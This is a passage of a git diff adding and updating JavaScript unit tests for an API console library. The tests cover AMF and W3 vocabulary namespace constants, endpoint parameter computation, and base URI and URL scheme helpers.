+      assert.equal(r.rdfSchema.toString(), `${key}2000/01/rdf-schema#`, 'rdfSchema namespace as string is the key');
+      assert.equal(r.rdfSchema.key, `${key}2000/01/rdf-schema#`, 'rdfSchema.key is set');
+      assert.typeOf(r.hydra, 'object', 'hydra is set');
+      assert.equal(r.hydra.toString(), `${key}ns/hydra/`, 'hydra namespace as string is the key');
+      assert.equal(r.hydra.key, `${key}ns/hydra/`, 'hydra.key is set');
+      assert.typeOf(r.xmlSchema, 'object', 'xmlSchema is set');
+      assert.equal(r.xmlSchema.toString(), `${key}2001/XMLSchema#`, 'xmlSchema namespace as string is the key');
+      assert.equal(r.xmlSchema.key, `${key}2001/XMLSchema#`, 'xmlSchema.key is set');
+      assert.typeOf(r.shacl, 'object', 'shacl is set');
+      assert.equal(r.shacl.toString(), `${key}ns/shacl#`, 'shacl namespace as string is the key');
+      assert.equal(r.shacl.key, `${key}ns/shacl#`, 'shacl.key is set');
+    });
+
+    it('w3 cannot be changed', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        ns.w3 = 'test';
+      });
+    });
+
+    it('hydra properties are set', () => {
+      const h = ns.w3.hydra;
+      const key = 'http://www.w3.org/ns/hydra/';
+      assert.equal(h.toString(), key, 'the namespace as string is the key');
+      assert.equal(h.key, key);
+      assert.equal(h.core, ns.aml.vocabularies.apiContract);
+      // @ts-ignore
+      assert.equal(h.supportedOperation, 'http://a.ml/vocabularies/apiContract#supportedOperation');
+    });
+
+    it('hydra cannot be changed', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        ns.w3.hydra = 'test';
+      });
+    });
+
+    it('shacl properties are set', () => {
+      const s = ns.w3.shacl;
+      const key = 'http://www.w3.org/ns/shacl#';
+      assert.equal(s.key, key, 'key is set');
+      [
+        'in',
+        'defaultValue',
+        'defaultValueStr',
+        'pattern',
+        'minInclusive',
+        'maxInclusive',
+        'multipleOf',
+        'minLength',
+        'maxLength',
+        'fileType',
+        'and',
+        'property',
+        'name',
+        'raw',
+        'datatype',
+        'minCount',
+        'Shape',
+        'NodeShape',
+        'SchemaShape',
+        'PropertyShape',
+        'xone',
+        'not',
+        'or',
+      ].forEach((name) => {
+        assert.equal(s[name], key + name, `${name  } is set`);
+      });
+    });
+
+    it('shacl cannot be changed', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        ns.w3.shacl = 'test';
+      });
+    });
+
+    it('schema properties are set', () => {
+      const s = ns.schema;
+      const {key} = ns.aml.vocabularies.core;
+      assert.equal(s.key, key, 'key is set');
+      assert.equal(s.name, `${key}name`, 'name is set');
+      assert.equal(s.desc, `${key}description`);
+      assert.equal(s.doc, `${key}documentation`);
+      assert.equal(s.webApi, `${ns.aml.vocabularies.apiContract.key  }WebAPI`);
+      assert.equal(s.creativeWork, `${key}CreativeWork`);
+      ['displayName', 'title'].forEach((name) => {
+        assert.equal(s[name], key + name);
+      });
+    });
+
+    it('schema cannot be changed', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        ns.schema = 'test';
+      });
+    });
+  });
+
+  describe('vocabularies.document namespace', () => {
+    const key = 'http://a.ml/vocabularies/document#';
+    
+    [
+      ['Module', `${key}Module`],
+      ['Document', `${key}Document`],
+      ['SecuritySchemeFragment', `${key}SecuritySchemeFragment`],
+      ['UserDocumentation', `${key}UserDocumentation`],
+      ['DataType', `${key}DataType`],
+      ['NamedExamples', `${key}NamedExamples`],
+      ['DomainElement', `${key}DomainElement`],
+      ['customDomainProperties', `${key}customDomainProperties`],
+      ['encodes', `${key}encodes`],
+      ['declares', `${key}declares`],
+      ['references', `${key}references`],
+      ['examples', `${key}examples`],
+      ['linkTarget', `${key}link-target`],
+      ['linkLabel', `${key}link-label`],
+      ['referenceId', `${key}reference-id`],
+      ['structuredValue', `${key}structuredValue`],
+      ['raw', `${key}raw`],
+      ['extends', `${key}extends`],
+      ['value', `${key}value`],
+      ['name', `${key}name`],
+      ['strict', `${key}strict`],
+      ['deprecated', `${key}deprecated`],
+      ['location', `${key}location`],
+      ['variable', `${key}variable`],
+      ['target', `${key}target`],
+      ['dataNode', `${key}dataNode`],
+      ['root', `${key}root`],
+      ['usage', `${key}usage`],
+      ['version', `${key}version`],
+    ].forEach(([property, value]) => {
+      it(`has value for ${property}`, () => {
+        const result = ns.aml.vocabularies.document[property];
+        assert.equal(result, value);
+      });
+    });
+  });
+
+  describe('vocabularies.security namespace', () => {
+    const key = 'http://a.ml/vocabularies/security#';
+
+    [
+      ['ParametrizedSecurityScheme', `${key}ParametrizedSecurityScheme`],
+      ['SecuritySchemeFragment', `${key}SecuritySchemeFragment`],
+      ['SecurityScheme', `${key}SecurityScheme`],
+      ['OAuth1Settings', `${key}OAuth1Settings`],
+      ['OAuth2Settings', `${key}OAuth2Settings`],
+      ['Scope', `${key}Scope`],
+      ['Settings', `${key}Settings`],
+      ['HttpSettings', `${key}HttpSettings`],
+      ['ApiKeySettings', `${key}ApiKeySettings`],
+      ['OpenIdConnectSettings', `${key}OpenIdConnectSettings`],
+      ['security', `${key}security`],
+      ['scheme', `${key}scheme`],
+      ['settings', `${key}settings`],
+      ['name', `${key}name`],
+      ['type', `${key}type`],
+      ['scope', `${key}scope`],
+      ['accessTokenUri', `${key}accessTokenUri`],
+      ['authorizationUri', `${key}authorizationUri`],
+      ['authorizationGrant', `${key}authorizationGrant`],
+      ['flows', `${key}flows`],
+      ['flow', `${key}flow`],
+      ['signature', `${key}signature`],
+      ['tokenCredentialsUri', `${key}tokenCredentialsUri`],
+      ['requestTokenUri', `${key}requestTokenUri`],
+      ['refreshUri', `${key}refreshUri`],
+      ['securityRequirement', `${key}SecurityRequirement`],
+      ['openIdConnectUrl', `${key}openIdConnectUrl`],
+      ['bearerFormat', `${key}bearerFormat`],
+      ['in', `${key}in`],
+    ].forEach(([property, value]) => {
+      it(`has value for ${property}`, () => {
+        const result = ns.aml.vocabularies.security[property];
+        assert.equal(result, value);
+      });
+    });
+  });
+
+  describe('vocabularies.core namespace', () => {
+    const key = 'http://a.ml/vocabularies/core#';
+
+    [
+      ['CreativeWork', `${key}CreativeWork`],
+      ['version', `${key}version`],
+      ['urlTemplate', `${key}urlTemplate`],
+      ['displayName', `${key}displayName`],
+      ['title', `${key}title`],
+      ['name', `${key}name`],
+      ['description', `${key}description`],
+      ['summary', `${key}summary`],
+      ['documentation', `${key}documentation`],
+      ['version', `${key}version`],
+      ['provider', `${key}provider`],
+      ['email', `${key}email`],
+      ['url', `${key}url`],
+      ['termsOfService', `${key}termsOfService`],
+      ['license', `${key}license`],
+      ['mediaType', `${key}mediaType`],
+      ['extensionName', `${key}extensionName`],
+      ['deprecated', `${key}deprecated`],
+    ].forEach(([property, value]) => {
+      it(`has value for ${property}`, () => {
+        const result = ns.aml.vocabularies.core[property];
+        assert.equal(result, value);
+      });
+    });
+  });
+
+  describe('vocabularies.apiContract namespace', () => {
+    const key = 'http://a.ml/vocabularies/apiContract#';
+
+    [
+      ['Payload', `${key}Payload`],
+      ['Request', `${key}Request`],
+      ['Response', `${key}Response`],
+      ['EndPoint', `${key}EndPoint`],
+      ['Parameter', `${key}Parameter`],
+      ['Operation', `${key}Operation`],
+      ['WebAPI', `${key}WebAPI`],
+      ['AsyncAPI', `${key}AsyncAPI`],
+      ['API', `${key}API`],
+      ['UserDocumentationFragment', `${key}UserDocumentationFragment`],
+      ['Example', `${key}Example`],
+      ['Server', `${key}Server`],
+      ['ParametrizedResourceType', `${key}ParametrizedResourceType`],
+      ['ParametrizedTrait', `${key}ParametrizedTrait`],
+      ['TemplatedLink', `${key}TemplatedLink`],
+      ['IriTemplateMapping', `${key}IriTemplateMapping`],
+      ['Tag', `${key}Tag`],
+      ['Callback', `${key}Callback`],
+      ['header', `${key}header`],
+      ['parameter', `${key}parameter`],
+      ['paramName', `${key}paramName`],
+      ['uriParameter', `${key}uriParameter`],
+      ['cookieParameter', `${key}cookieParameter`],
+      ['variable', `${key}variable`],
+      ['payload', `${key}payload`],
+      ['path', `${key}path`],
+      ['url', `${key}url`],
+      ['scheme', `${key}scheme`],
+      ['endpoint', `${key}endpoint`],
+      ['queryString', `${key}queryString`],
+      // ['mediaType', key + 'mediaType'],
+      ['accepts', `${key}accepts`],
+      ['guiSummary', `${key}guiSummary`],
+      ['binding', `${key}binding`],
+      ['response', `${key}response`],
+      ['returns', `${key}returns`],
+      ['expects', `${key}expects`],
+      ['examples', `${key}examples`],
+      ['supportedOperation', `${key}supportedOperation`],
+      ['statusCode', `${key}statusCode`],
+      ['method', `${key}method`],
+      ['required', `${key}required`],
+      ['callback', `${key}callback`],
+      ['expression', `${key}expression`],
+      ['link', `${key}link`],
+      ['linkExpression', `${key}linkExpression`],
+      ['templateVariable', `${key}templateVariable`],
+      ['mapping', `${key}mapping`],
+      ['operationId', `${key}operationId`],
+      ['protocol', `${key}protocol`],
+      ['protocolVersion', `${key}protocolVersion`],
+      ['Message', `${key}Message`],
+      ['contentType', `${key}contentType`],
+      ['allowEmptyValue', `${key}allowEmptyValue`],
+      ['style', `${key}style`],
+      ['explode', `${key}explode`],
+      ['allowReserved', `${key}allowReserved`],
+      ['tag', `${key}tag`],
+    ].forEach(([property, value]) => {
+      it(`has value for ${property}`, () => {
+        const result = ns.aml.vocabularies.apiContract[property];
+        assert.equal(result, value);
+      });
+    });
+  });
+
+  describe('vocabularies.shapes namespace', () => {
+    const key = 'http://a.ml/vocabularies/shapes#';
+
+    [
+      ['ScalarShape', `${key}ScalarShape`],
+      ['ArrayShape', `${key}ArrayShape`],
+      ['UnionShape', `${key}UnionShape`],
+      ['NilShape', `${key}NilShape`],
+      ['FileShape', `${key}FileShape`],
+      ['AnyShape', `${key}AnyShape`],
+      ['SchemaShape', `${key}SchemaShape`],
+      ['MatrixShape', `${key}MatrixShape`],
+      ['TupleShape', `${key}TupleShape`],
+      ['DataTypeFragment', `${key}DataTypeFragment`],
+      ['RecursiveShape', `${key}RecursiveShape`],
+      ['XMLSerializer', `${key}XMLSerializer`],
+      ['range', `${key}range`],
+      ['items', `${key}items`],
+      ['anyOf', `${key}anyOf`],
+      ['fileType', `${key}fileType`],
+      ['number', `${key}number`],
+      ['integer', `${key}integer`],
+      ['long', `${key}long`],
+      ['double', `${key}double`],
+      ['boolean', `${key}boolean`],
+      ['float', `${key}float`],
+      ['nil', `${key}nil`],
+      ['dateTimeOnly', `${key}dateTimeOnly`],
+      ['password', `${key}password`],
+      ['schema', `${key}schema`],
+      ['xmlSerialization', `${key}xmlSerialization`],
+      ['xmlName', `${key}xmlName`],
+      ['xmlAttribute', `${key}xmlAttribute`],
+      ['xmlWrapped', `${key}xmlWrapped`],
+      ['xmlNamespace', `${key}xmlNamespace`],
+      ['xmlPrefix', `${key}xmlPrefix`],
+      ['readOnly', `${key}readOnly`],
+      ['writeOnly', `${key}writeOnly`],
+      ['deprecated', `${key}deprecated`],
+      ['fixPoint', `${key}fixPoint`],
+      ['discriminator', `${key}discriminator`],
+      ['discriminatorValue', `${key}discriminatorValue`],
+      ['format', `${key}format`],
+      ['multipleOf', `${key}multipleOf`],
+      ['uniqueItems', `${key}uniqueItems`],
+    ].forEach(([property, value]) => {
+      it(`has value for ${property}`, () => {
+        const result = ns.aml.vocabularies.shapes[property];
+        assert.equal(result, value);
+      });
+    });
+  });
+
+  describe('vocabularies.data namespace', () => {
+    const key = 'http://a.ml/vocabularies/data#';
+
+    [
+      ['Scalar', `${key}Scalar`],
+      ['Object', `${key}Object`],
+      ['Array', `${key}Array`],
+      ['value', `${key}value`],
+      ['description', `${key}description`],
+      ['required', `${key}required`],
+      ['displayName', `${key}displayName`],
+      ['minLength', `${key}minLength`],
+      ['maxLength', `${key}maxLength`],
+      ['default', `${key}default`],
+      ['multipleOf', `${key}multipleOf`],
+      ['minimum', `${key}minimum`],
+      ['maximum', `${key}maximum`],
+      ['enum', `${key}enum`],
+      ['pattern', `${key}pattern`],
+      ['items', `${key}items`],
+      ['format', `${key}format`],
+      ['example', `${key}example`],
+      ['examples', `${key}examples`],
+    ].forEach(([property, value]) => {
+      it(`has value for ${property}`, () => {
+        const result = ns.aml.vocabularies.data[property];
+        assert.equal(result, value);
+      });
+    });
+  });
+
+  describe('vocabularies.docSourceMaps namespace', () => {
+    const key = 'http://a.ml/vocabularies/document-source-maps#';
+
+    [
+      ['SourceMap', `${key}SourceMap`],
+      ['sources', `${key}sources`],
+      ['element', `${key}element`],
+      ['value', `${key}value`],
+      ['declaredElement', `${key}declared-element`],
+      ['trackedElement', `${key}tracked-element`],
+      ['parsedJsonSchema', `${key}parsed-json-schema`],
+      ['autoGeneratedName', `${key}auto-generated-name`],
+      ['lexical', `${key}lexical`],
+      ['synthesizedField', `${key}synthesized-field`],
+    ].forEach(([property, value]) => {
+      it(`has value for ${property}`, () => {
+        const result = ns.aml.vocabularies.docSourceMaps[property];
+        assert.equal(result, value);
+      });
+    });
+  });
+
+  describe('w3.shacl namespace', () => {
+    const key = 'http://www.w3.org/ns/shacl#';
+
+    [
+      ['Shape', `${key}Shape`],
+      ['NodeShape', `${key}NodeShape`],
+      ['SchemaShape', `${key}SchemaShape`],
+      ['PropertyShape', `${key}PropertyShape`],
+      ['in', `${key}in`],
+      ['defaultValue', `${key}defaultValue`],
+      ['defaultValueStr', `${key}defaultValueStr`],
+      ['pattern', `${key}pattern`],
+      ['minInclusive', `${key}minInclusive`],
+      ['maxInclusive', `${key}maxInclusive`],
+      ['multipleOf', `${key}multipleOf`],
+      ['minLength', `${key}minLength`],
+      ['maxLength', `${key}maxLength`],
+      ['fileType', `${key}fileType`],
+      ['and', `${key}and`],
+      ['property', `${key}property`],
+      ['name', `${key}name`],
+      ['raw', `${key}raw`],
+      ['datatype', `${key}datatype`],
+      ['minCount', `${key}minCount`],
+      ['maxCount', `${key}maxCount`],
+      ['xone', `${key}xone`],
+      ['not', `${key}not`],
+      ['or', `${key}or`],
+      ['closed', `${key}closed`],
+      ['path', `${key}path`],
+    ].forEach(([property, value]) => {
+      it(`has value for ${property}`, () => {
+        const result = ns.w3.shacl[property];
+        assert.equal(result, value);
+      });
+    });
+  });
+
+  describe('w3.xmlSchema namespace', () => {
+    const key = 'http://www.w3.org/2001/XMLSchema#';
+
+    [
+      ['boolean', `${key}boolean`],
+      ['string', `${key}string`],
+      ['number', `${key}number`],
+      ['integer', `${key}integer`],
+      ['long', `${key}long`],
+      ['double', `${key}double`],
+      ['float', `${key}float`],
+      ['nil', `${key}nil`],
+      ['dateTime', `${key}dateTime`],
+      ['time', `${key}time`],
+      ['date', `${key}date`],
+      ['base64Binary', `${key}base64Binary`],
+    ].forEach(([property, value]) => {
+      it(`has value for ${property}`, () => {
+        const result = ns.w3.xmlSchema[property];
+        assert.equal(result, value);
+      });
+    });
+  });
+
+  describe('w3.rdfSyntax namespace', () => {
+    const key = 'http://www.w3.org/1999/02/22-rdf-syntax-ns#';
+
+    [
+      ['member', `${key}member`],
+      ['Seq', `${key}Seq`],
+    ].forEach(([property, value]) => {
+      it(`has value for ${property}`, () => {
+        const result = ns.w3.rdfSyntax[property];
+        assert.equal(result, value);
+      });
+    });
+  });
+
+  describe('w3.rdfSchema namespace', () => {
+    const key = 'http://www.w3.org/2000/01/rdf-schema#';
+
+    [
+      ['member', `${key}member`],
+      ['Seq', `${key}Seq`],
+    ].forEach(([property, value]) => {
+      it(`has value for ${property}`, () => {
+        const result = ns.w3.rdfSchema[property];
+        assert.equal(result, value);
+      });
+    });
+  });
+});
diff --git a/test/helpers/SE-12957.test.js b/test/helpers/SE-12957.test.js
new file mode 100644
index 0000000..1eb3b08
--- /dev/null
+++ b/test/helpers/SE-12957.test.js
@@ -0,0 +1,49 @@
+import { fixture, assert, html } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import './test-element.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+
+// In OAS path parameters can be defined on an operation level. This is in conflict
+// with RAML which only allows variables on the endpoint level.
+// This tests for reading parameters from an endpoint that are locates on the
+// method level.
+describe('SE-12957', () => {
+  async function basicFixture(amf) {
+    return fixture(html`<test-element .amf="${amf}"></test-element>`);
+  }
+
+  const loader = new AmfLoader();
+  const apiFile = 'SE-12957';
+
+  [false, true].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+      });
+
+      let element;
+      beforeEach(async () => {
+        element = await basicFixture(model);
+      });
+
+      it('computes path parameters from AMF Endpoint model', () => {
+        const endpoint = loader.lookupEndpoint(model, '/api/v1/alarm/{scada-object-key}');
+        const method = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get');
+        const result = element._computeEndpointVariables(endpoint, method);
+        assert.typeOf(result, 'array', 'result is array');
+        assert.lengthOf(result, 1, 'array has 1 item');
+      });
+
+      it('computes query parameters from AMF Expects model', () => {
+        const method = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get');
+        const expects = element._computeExpects(method);
+        const result = element._computeQueryParameters(expects);
+        assert.typeOf(result, 'array', 'result is array');
+        assert.lengthOf(result, 1, 'array has 1 item');
+      });
+    });
+  });
+});
diff --git a/test/helpers/base-uri.test.js b/test/helpers/base-uri.test.js
new file mode 100644
index 0000000..64a41c3
--- /dev/null
+++ b/test/helpers/base-uri.test.js
@@ -0,0 +1,182 @@
+import { fixture, assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import './test-element.js';
+
+/** @typedef {import('./test-element').TestElement} TestElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+
+describe('Base URI test', () => {
+  /**
+   * @returns {Promise<TestElement>}
+   */
+  async function basicFixture() {
+    return fixture(`<test-element></test-element>`);
+  }
+
+  const loader = new AmfLoader();
+
+  describe('Base URI test', () => {
+    /** @type TestElement */
+    let element;
+    /** @type AmfDocument */
+    let model;
+    let server;
+    let endpoint;
+    let gavEndpoint;
+
+    before(async () => {
+      model = await loader.getGraph(false, 'amf-helper-api');
+    });
+
+    beforeEach(async () => {
+      element = await basicFixture();
+      element.amf = model;
+      server = element._computeServer(model);
+      const webApi = element._computeWebApi(model);
+      endpoint = element._computeEndpointByPath(webApi, '/files');
+      gavEndpoint = element._computeEndpointByPath(webApi, '/{groupId}/{assetId}/{version}');
+    });
+
+    it('_getAmfBaseUri returns servers base uri', () => {
+      const result = element._getAmfBaseUri(server, undefined);
+      assert.equal(result, 'https://api.mulesoft.com/{version}');
+    });
+
+    const noSchemeServerV1 = {
+      '@id': 'file://test/demo-api/demo-api.raml#/web-api/https%3A%2F%2Fapi.mulesoft.com%2F%7Bversion%7D',
+      '@type': ['http://raml.org/vocabularies/http#Server', 'http://raml.org/vocabularies/document#DomainElement'],
+      'http://a.ml/vocabularies/http#url': [
+        {
+          '@value': 'api.mulesoft.com/test'
+        }
+      ]
+    };
+
+    const noSchemeServerV2 = {
+      '@id': 'file://test/demo-api/demo-api.raml#/web-api/https%3A%2F%2Fapi.mulesoft.com%2F%7Bversion%7D',
+      '@type': [
+        'http://raml.org/vocabularies/apiContract#Server',
+        'http://raml.org/vocabularies/document#DomainElement'
+      ],
+      'http://a.ml/vocabularies/core#urlTemplate': [
+        {
+          '@value': 'api.mulesoft.com/test'
+        }
+      ]
+    };
+
+    const noSchemeServer = (elem) =>  {
+      if (elem._modelVersion === 1) {
+        return noSchemeServerV1;
+      } 
+      return noSchemeServerV2;
+    };
+
+    it('_getAmfBaseUri() uses protocols with the base uri', () => {
+      const srv = noSchemeServer(element);
+      const result = element._getAmfBaseUri(srv, ['http']);
+      assert.equal(result, 'http://api.mulesoft.com/test');
+    });
+
+    it('_getAmfBaseUri() uses AMF encoded protocols with the base uri', () => {
+      const srv = noSchemeServer(element);
+      const result = element._getAmfBaseUri(srv, undefined);
+      assert.equal(result, 'https://api.mulesoft.com/test');
+    });
+
+    it('_getBaseUri() returns baseUri argument if set', () => {
+      const value = 'https://api.domain.com';
+      const result = element._getBaseUri(value, server);
+      assert.equal(result, value);
+    });
+
+    it('_computeEndpointUri() computes APIs encoded URI', () => {
+      const result = element._computeEndpointUri(server, endpoint);
+      assert.equal(result, 'https://api.mulesoft.com/{version}/files');
+    });
+
+    it('_computeEndpointUri() computes URI for altered baseUri', () => {
+      const result = element._computeEndpointUri(server, endpoint, 'https://domain.com');
+      assert.equal(result, 'https://domain.com/files');
+    });
+
+    it('_computeEndpointUri() computes URI for altered baseUri without scheme', () => {
+      const result = element._computeEndpointUri(server, endpoint, 'domain.com');
+      assert.equal(result, 'https://domain.com/files');
+    });
+
+    it('_ensureUrlScheme() adds scheme for url from AMF model', () => {
+      const result = element._ensureUrlScheme('domain.com', undefined);
+      assert.equal(result, 'https://domain.com');
+    });
+
+    it('_ensureUrlScheme() adds scheme for url from passed argument', () => {
+      const result = element._ensureUrlScheme('domain.com', ['ftp']);
+      assert.equal(result, 'ftp://domain.com');
+    });
+
+    it('_ensureUrlScheme() adds default scheme', () => {
+      element.amf = undefined;
+      const result = element._ensureUrlScheme('domain.com', undefined);
+      assert.equal(result, 'http://domain.com');
+    });
+
+    it('_ensureUrlScheme() adds non-http protocol if supplied', () => {
+      element.amf = undefined;
+      const result = element._ensureUrlScheme('domain.com', ['mqtt']);
+      assert.equal(result, 'mqtt://domain.com');
+    });
+
+    it('_ensureUrlScheme() does not add http protocol if url has protocol and protocols are supplied', () => {
+      element.amf = undefined;
+      const result = element._ensureUrlScheme('mqtt://domain.com', ['mqtt']);
+      assert.equal(result, 'mqtt://domain.com');
+    });
+
+    it('_computeUri() computes APIs encoded URI', () => {
+      const result = element._computeUri(endpoint, { server });
+      assert.equal(result, 'https://api.mulesoft.com/{version}/files');
+    });
+
+    it('_computeUri() computes version', () => {
+      const result = element._computeUri(endpoint, { server, version: 'v1.0.0' });
+      assert.equal(result, 'https://api.mulesoft.com/v1.0.0/files');
+    });
+
+    it('_computeUri() computes URI for altered baseUri', () => {
+      const result = element._computeUri(endpoint, { server, baseUri: 'https://domain.com' });
+      assert.equal(result, 'https://domain.com/files');
+    });
+
+    it('_computeUri() computes URI for altered baseUri withouth scheme', () => {
+      const result = element._computeUri(endpoint, { server, baseUri: 'domain.com' });
+      assert.equal(result, 'https://domain.com/files');
+    });
+
+    it('_computeUri() adds non-http protocol if provided', () => {
+      const result = element._computeUri(endpoint, { server, baseUri: 'domain.com', protocols: ['mqtt'] });
+      assert.equal(result, 'mqtt://domain.com/files');
+    });
+
+
+    it('_computeUri() computes uri without path', () => {
+      const result = element._computeUri(endpoint, { server, baseUri: 'domain.com', protocols: ['mqtt'], ignorePath: true });
+      assert.equal(result, 'mqtt://domain.com');
+    });
+
+    it('_computeUri() computes URI without optional parameters', () => {
+      const result = element._computeUri(endpoint);
+      assert.equal(result, '/files');
+    });
+
+    it('_computeUri() ignores base URI computation', () => {
+      const result = element._computeUri(endpoint, { server, baseUri: 'https://domain.com', ignoreBase: true });
+      assert.equal(result, '/files');
+    });
+
+    it('_computeUri() computes version only in base value', () => {
+      const result = element._computeUri(gavEndpoint, { server, baseUri: 'https://domain.com/{version}', version: 'v1' });
+      assert.equal(result, 'https://domain.com/v1/{groupId}/{assetId}/{version}');
+    });
+  });
+});
diff --git a/test/helpers/test-element.js b/test/helpers/test-element.js
new file mode 100644
index 0000000..065a7f8
--- /dev/null
+++ b/test/helpers/test-element.js
@@ -0,0 +1,16 @@
+import { LitElement, html, css } from 'lit-element';
+import { AmfHelperMixin } from '../../index.js';
+
+export class TestElement extends AmfHelperMixin(LitElement) {
+  static get styles() {
+    return css`
+    :host {
+      display: block;
+    }`;
+  }
+
+  render() {
+    return html`Test element`;
+  }
+}
+window.customElements.define('test-element', TestElement);
diff --git a/test/http-request/APIC-289.test.js b/test/http-request/APIC-289.test.js
index 91885c3..eb9357c 100644
--- a/test/http-request/APIC-289.test.js
+++ b/test/http-request/APIC-289.test.js
@@ -2,7 +2,7 @@ import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
 import '../../api-request-editor.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../..').ApiRequestEditorElement} ApiRequestEditorElement */
 
 describe('ApiRequestEditorElement', () => {
diff --git a/test/http-request/APIC-298.test.js b/test/http-request/APIC-298.test.js
index 97cb07f..e588fbf 100644
--- a/test/http-request/APIC-298.test.js
+++ b/test/http-request/APIC-298.test.js
@@ -2,7 +2,7 @@ import { fixture, assert, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
 import '../../api-request-editor.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../..').ApiRequestEditorElement} ApiRequestEditorElement */
 
 describe('ApiRequestEditorElement', () => {
diff --git a/test/http-request/APIC-689.test.js b/test/http-request/APIC-689.test.js
index 9cf8cbb..b1e07cb 100644
--- a/test/http-request/APIC-689.test.js
+++ b/test/http-request/APIC-689.test.js
@@ -2,7 +2,7 @@ import { assert, fixture, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
 import '../../api-request-editor.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../..').ApiRequestEditorElement} ApiRequestEditorElement */
 
 describe('ApiRequestEditorElement', () => {
diff --git a/test/http-request/ApiRequestEditorElement.test.js b/test/http-request/ApiRequestEditorElement.test.js
index 6ce9b46..947ca44 100644
--- a/test/http-request/ApiRequestEditorElement.test.js
+++ b/test/http-request/ApiRequestEditorElement.test.js
@@ -14,8 +14,8 @@ import {
   serverHandler,
 } from '../../src/elements/ApiRequestEditorElement.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../').ApiRequestEditorElement} ApiRequestEditorElement */
 
diff --git a/test/http-request/ApiRequestElement.test.js b/test/http-request/ApiRequestElement.test.js
index 0926ae5..e29960b 100644
--- a/test/http-request/ApiRequestElement.test.js
+++ b/test/http-request/ApiRequestElement.test.js
@@ -6,7 +6,7 @@ import { loadMonaco } from '../MonacoSetup.js';
 import { EventTypes } from '../../src/events/EventTypes.js';
 import { propagateResponse, responseHandler } from '../../src/elements/ApiRequestElement.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../').ApiRequestElement} ApiRequestElement */
 /** @typedef {import('../../').ApiRequestEditorElement} ApiRequestEditorElement */
 /** @typedef {import('../../src/types').ApiConsoleResponse} ApiConsoleResponse */
diff --git a/test/http-request/SE-12042.test.js b/test/http-request/SE-12042.test.js
index 222c725..7880f1c 100644
--- a/test/http-request/SE-12042.test.js
+++ b/test/http-request/SE-12042.test.js
@@ -3,7 +3,7 @@ import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
 import '../../api-request-editor.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../..').ApiRequestEditorElement} ApiRequestEditorElement */
 
 describe('ApiRequestEditorElement', () => {
diff --git a/test/http-request/SE-12957.test.js b/test/http-request/SE-12957.test.js
index f24150a..b04851b 100644
--- a/test/http-request/SE-12957.test.js
+++ b/test/http-request/SE-12957.test.js
@@ -4,7 +4,7 @@ import '../../api-request-editor.js';
 import * as InputCache from '../../src/lib/InputCache.js';
 
 
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../..').ApiRequestEditorElement} ApiRequestEditorElement */
 
 describe('ApiRequestEditorElement', () => {
diff --git a/test/lib/UrlUtils.test.js b/test/lib/UrlUtils.test.js
index 79a70a1..06cda99 100644
--- a/test/lib/UrlUtils.test.js
+++ b/test/lib/UrlUtils.test.js
@@ -8,8 +8,8 @@ import {
   applyUrlParameters,
 } from '../../src/lib/UrlUtils.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiServer} ApiServer */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 
 describe('Libraries', () => {
   describe('URL library', () => {
diff --git a/test/serializer/APIC-483.test.js b/test/serializer/APIC-483.test.js
new file mode 100644
index 0000000..1f5f000
--- /dev/null
+++ b/test/serializer/APIC-483.test.js
@@ -0,0 +1,47 @@
+import { assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import { AmfSerializer, ns } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/amf').Server} Server */
+/** @typedef {import('../../src/helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../../src/helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../../src/helpers/api').ApiUnionShape} ApiUnionShape */
